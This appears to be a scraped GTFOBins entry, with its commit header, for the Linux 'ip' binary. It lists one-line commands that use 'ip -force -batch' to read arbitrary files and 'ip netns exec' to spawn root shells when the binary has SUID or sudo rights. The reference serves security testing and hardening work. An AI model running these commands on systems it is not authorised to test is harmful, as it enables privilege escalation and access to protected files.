GTFOBins.github.io/_gtfobins/ip.md
Chris M 88e43c42a9
Update ip.md with to break out of restricted network namespace
Add command to allow access to interfaces in restricted namespace without affecting host networking

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2023-02-11 19:11:00 +01:00

1.0 KiB

description functions
The read file content is corrupted by error prints.
file-read suid sudo
code
LFILE=file_to_read ip -force -batch "$LFILE"
code
LFILE=file_to_read ./ip -force -batch "$LFILE"
description code
This only works for Linux with CONFIG_NET_NS=y. ./ip netns add foo ./ip netns exec foo /bin/sh -p ./ip netns delete foo
code
LFILE=file_to_read sudo ip -force -batch "$LFILE"
description code
This only works for Linux with CONFIG_NET_NS=y. sudo ip netns add foo sudo ip netns exec foo /bin/sh sudo ip netns delete foo
description code
This only works for Linux with CONFIG_NET_NS=y. This version also grants network access. sudo ip netns add foo sudo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar sudo ip netns exec bar /bin/sh sudo ip netns delete foo sudo ip netns delete bar